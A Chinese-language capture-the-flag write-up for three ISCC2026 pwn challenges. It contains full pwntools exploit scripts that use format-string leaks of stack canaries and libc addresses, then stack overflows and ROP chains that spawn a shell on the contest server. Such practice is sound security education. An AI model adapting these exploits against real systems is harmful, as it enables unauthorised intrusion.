ISCC2026 校级赛 pwn 前三题
1
# 题目分析
```c
unsigned int vuln()
{
int i; // [esp+4h] [ebp-74h]
char buf[100]; // [esp+8h] [ebp-70h] BYREF
unsigned int v3; // [esp+6Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
for (i = 0; i <= 1; ++i)
{
read(0, buf, 512u);
printf(buf);
}
return __readgsdword(0x14u) ^ v3;
}
很简单的思路,第一次泄露 canary,第二次栈溢出,ret 到 getshell 这个函数。
.text:08049221 var_74= dword ptr -74h
.text:08049221 buf= byte ptr -70h
.text:08049221 var_C= dword ptr -0Ch
.text:08049221
.text:08049221 ; __unwind {
.text:08049221 000 55 push ebp
.text:08049222 004 89 E5 mov ebp, esp
.text:08049224 004 83 EC 78 sub esp, 78h
.text:08049227 07C 65 A1 14 00 00 00 mov eax, large gs:14h
.text:0804922D 07C 89 45 F4 mov [ebp+var_C], eax
.text:08049230 07C 31 C0 xor eax, eax
.text:08049232 07C C7 45 8C 00 00 00 00 mov [ebp+var_74], 0
.text:08049239 07C EB 29 jmp short loc_8049264
稍微算一下就知道 buf 距离 canary 为 0x64,那么第一次就填充 0x64 个字符,sendline 就可以泄露 canary,然后把末尾改成\x00。
pwindbg 里同时可以验证。
第二次先覆盖到 canary 前,然后用泄露的 canary,然后填充到 ebp,用 getshell 覆盖返回地址,就能打通了。
EXP
from pwn import * context.log_level = 'debug' local = 1 if local: p = process('./attachment-5') gdb.attach(p) else: p = remote('39.96.193.120', 10004) p.recvuntil(b"Hello Hacker!") getshell = 0x080491C6 payload = b'A' * 0x63 + b'b' p.sendline(payload) p.recvuntil(b'b') leak = u32(p.recv(4)) - 0xa print(hex(leak)) payload = b'a' * 0x64 + p32(leak) + b'a' * 12 + p32(getshell) p.sendline(payload) p.interactive()2
EXP
from pwn import * from LibcSearcher import LibcSearcher context.log_level = 'debug' exe = ELF("./pwn_patched") libc = ELF("./libc.so.6") ld = ELF("./ld-2.31.so") context.binary = exe local = 0 if local: p = process('./pwn_patched') gdb.attach(p,'b *0x080492F8') else: p = remote('39.96.193.120',10000) x_addr = 0x0804C030 gadgets = 0x804c100 p.recvuntil(b"Hope you have a good time here.") payload = p32(x_addr) +b'a%4$n' + b'%p.' + b'%15$p' p.sendline(payload) p.recvuntil(b'0x') leak = int(p.recv(8),16) print(hex(leak)) ebp_addr = leak-8 log.info(f'ebp = {hex(ebp_addr)}') p.recvuntil(b'.0x') libc_leak = int(p.recv(8),16) libc_base = libc_leak - 0x1aed5 log.info(f'libc_base={hex(libc_base)}') ''' libc = LibcSearcher('__libc_start_main', libc_main) libc_base = libc_main - libc.dump('__libc_start_main') system_addr = libc_base + libc.dump('system') bin_sh_addr = libc_base + libc.dump("str_bin_sh") log.info(f'system_addr = {hex(system_addr)}') ''' system_addr = libc_base + libc.sym['system'] bin_sh_addr = libc_base + next(libc.search(b'/bin/sh')) pop_edi_ebp = 0x08049382 vul_addr = 0x08049227 ret_addr = 0x0804900e main_addr = 0x8049270 payload = b'a'*0x94 +p32(system_addr) + p32(vul_addr) + p32(bin_sh_addr) p.recvuntil(b"Input:\n") p.sendline(payload) p.interactive()3
EXP
from pwn import * context.log_level = 'debug' exe = ELF("./pwn_patched") libc = ELF("./libc6_2.31-0ubuntu9.16_amd64.so") ld = ELF("./ld-2.31.so") context.binary = exe local = 0 if local: p = process('./pwn_patched') gdb.attach(p) else: p = remote('39.96.193.120',33334) pop_rdi = 0x4014a3 ret_addr =0x40101a p.recvuntil(b"Please enter your customer ID:") payload = b'%45$p' + b'%44$p' p.sendline(payload) p.recvuntil("Welcome, 0x") canary = int(p.recv(16),16) log.info(f'canary = {hex(canary)}') p.recvuntil(b'0x') libc_leak = int(p.recv(12),16) print(f'libc_leak = {hex(libc_leak)}') libc_base = libc_leak - 0x1F12E8 log.info(f'libc_base = {hex(libc_base)}') system_addr = libc_base + libc.sym['system'] bin_sh_addr = libc_base + next(libc.search('/bin/sh')) p.recvuntil(b"The item is limited to three per customer, please enter the quantity you need:") p.sendline(b'512') payload = b'a'*0x108 + p64(canary) + p64(0) + p64(ret_addr) +p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr) p.sendline(payload) p.interactive()